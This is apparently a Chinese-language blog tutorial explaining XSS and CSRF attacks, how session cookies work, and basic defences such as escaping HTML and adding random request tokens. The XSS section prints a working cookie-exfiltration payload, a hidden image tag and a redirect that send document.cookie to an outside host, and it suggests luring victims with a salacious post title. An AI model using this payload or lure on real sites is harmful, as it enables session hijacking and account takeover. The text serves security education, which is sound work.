XSS是什么?它的全名是:Cross-site scripting,為了和CSS層疊樣式表區(qū)分所以取名XSS。是一種網(wǎng)站應用程序的安全漏洞攻擊,是代碼注入的一種。它允許惡意用戶將代碼注入到網(wǎng)頁上,其他用戶在觀看網(wǎng)頁時就會受到影響。這類攻擊通常包含了HTML以及用戶端腳本語言。
XSS攻擊的主要目的則是,想辦法獲取目標攻擊網(wǎng)站的cookie,因為有了cookie相當于有了seesion,有了這些信息就可以在任意能接進互聯(lián)網(wǎng)的pc登陸該網(wǎng)站,并以其他人的生份登陸,做一些破壞。預防措施,防止下發(fā)界面顯示html標簽,把等符號轉義
舉例:

上面的代碼就是輸入一個網(wǎng)絡分享的圖片,我在src中直接寫入了javascript:alert('xss');操作成功后生成帖子,用IE6、7的用戶打開這個我發(fā)的這個帖子就會出現(xiàn)下圖的alert('xss')彈窗。 如圖:

當然我會將標題設計的非常吸引人點擊,比如 “陳冠希艷照又有流出2012版(20P無碼)” ,這樣如果我將里面的alert換成惡意代碼,比如:
location.href='http://www.xss.com?cookie='+document.cookie;用戶的cookie我也拿到了,如果服務端session沒有設置過期的話,我以后甚至拿這個cookie而不需用戶名密碼,就可以以這個用戶的身份登錄成功了。
這里的location.href只是處于簡單這樣做,如果做了跳轉這個帖子很快會被管理員刪除,但是如果我寫如下代碼,并且帖子的內(nèi)容也是比較真實的,說不定這個帖子就會禍害很多人:
varimg?=?document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

這樣就神不知鬼不覺的把當前用戶的cookie發(fā)送給了我的惡意站點,我的惡意站點通過獲取get參數(shù)就拿到了用戶的cookie。當然我們可以通過這個方法拿到用戶各種各樣的數(shù)據(jù)。
CSRF是什么呢?CSRF全名是Cross-site request forgery,是一種對網(wǎng)站的惡意利用,CSRF比XSS更具危險性。想要深入理解CSRF的攻擊特性我們有必要了解一下網(wǎng)站session的工作原理。
session我想大家都不陌生,無論你用.net或PHP開發(fā)過網(wǎng)站的都肯定用過session對象,然而session它是如何工作的呢?如果你不清楚請往下看。
先問個小問題:如果我把瀏覽器的cookie禁用了,大家認為session還能正常工作嗎?
答案是否定的,我在這邊舉個簡單的例子幫助大家理解session。
比如我買了一張高爾夫俱樂部的會員卡,俱樂部給了我一張帶有卡號的會員卡。我能享受哪些權利(比如我是高級會員卡可以打19洞和后付費喝飲料,而初級會員卡只能在練習場揮桿)以及我的個人資料都是保存在高爾夫俱樂部的數(shù)據(jù)庫里的。我每次去高爾夫俱樂部只需要出示這張高級會員卡,俱樂部就知道我是誰了,并且為我服務了。
這里我們的高級會員卡卡號 = 保存在cookie的sessionid;
而我的高級會員卡權利和個人信息就是服務端的session對象了。
我們知道http請求是無狀態(tài)的,也就是說每次http請求都是獨立的無關之前的操作的,但是每次http請求都會將本域下的所有cookie作為http請求頭的一部分發(fā)送給服務端,所以服務端就根據(jù)請求中的cookie存放的sessionid去session對象中找到該會員資料了。
當然session的保存方法多種多樣,可以保存在文件中,也可以內(nèi)存里,考慮到分布式的橫向擴展我們還是建議把它保存在第三方媒介中,比如redis或者mongodb。
我們理解了session的工作機制后,CSRF也就很容易理解了。CSRF攻擊就相當于惡意用戶A復制了我的高級會員卡,哪天惡意用戶A也可以拿著這張假冒的高級會員卡去高爾夫俱樂部打19洞,享受美味的飲料了,而我在月底就會收到高爾夫俱樂部的賬單!
了解CSRF的機制之后,危害性我相信大家已經(jīng)不言而喻了,我可以偽造某一個用戶的身份給其好友發(fā)送垃圾信息,這些垃圾信息的超鏈接可能帶有木馬程序或者一些欺騙信息(比如借錢之類的),如果CSRF發(fā)送的垃圾信息還帶有蠕蟲鏈接的話,那些接收到這些有害信息的好友萬一打開私信中的連接就也成為了有害信息的散播著,這樣數(shù)以萬計的用戶被竊取了資料種植了木馬。整個網(wǎng)站的應用就可能在瞬間奔潰,用戶投訴,用戶流失,公司聲譽一落千丈甚至面臨倒閉。曾經(jīng)在MSN上,一個美國的19歲的小伙子Samy利用css的background漏洞幾小時內(nèi)讓100多萬用戶成功的感染了他的蠕蟲,雖然這個蠕蟲并沒有破壞整個應用,只是在每一個用戶的簽名后面都增加了一句“Samy 是我的偶像”,但是一旦這些漏洞被惡意用戶利用,后果將不堪設想,同樣的事情也曾經(jīng)發(fā)生在新浪微博上面。
舉例:
CSRF攻擊的主要目的是讓用戶在不知情的情況下攻擊自己已登錄的一個系統(tǒng),類似于釣魚。如用戶當前已經(jīng)登錄了郵箱,或bbs,同時用戶又在使用另外一個,已經(jīng)被你控制的站點,我們姑且叫它釣魚網(wǎng)站。這個網(wǎng)站上面可能因為某個圖片吸引你,你去點擊一下,此時可能就會觸發(fā)一個js的點擊事件,構造一個bbs發(fā)帖的請求,去往你的bbs發(fā)帖,由于當前你的瀏覽器狀態(tài)已經(jīng)是登陸狀態(tài),所以session登陸cookie信息都會跟正常的請求一樣,純天然的利用當前的登陸狀態(tài),讓用戶在不知情的情況下,幫你發(fā)帖或干其他事情。
預防措施,請求中加入隨機數(shù),讓釣魚網(wǎng)站無法正常偽造請求。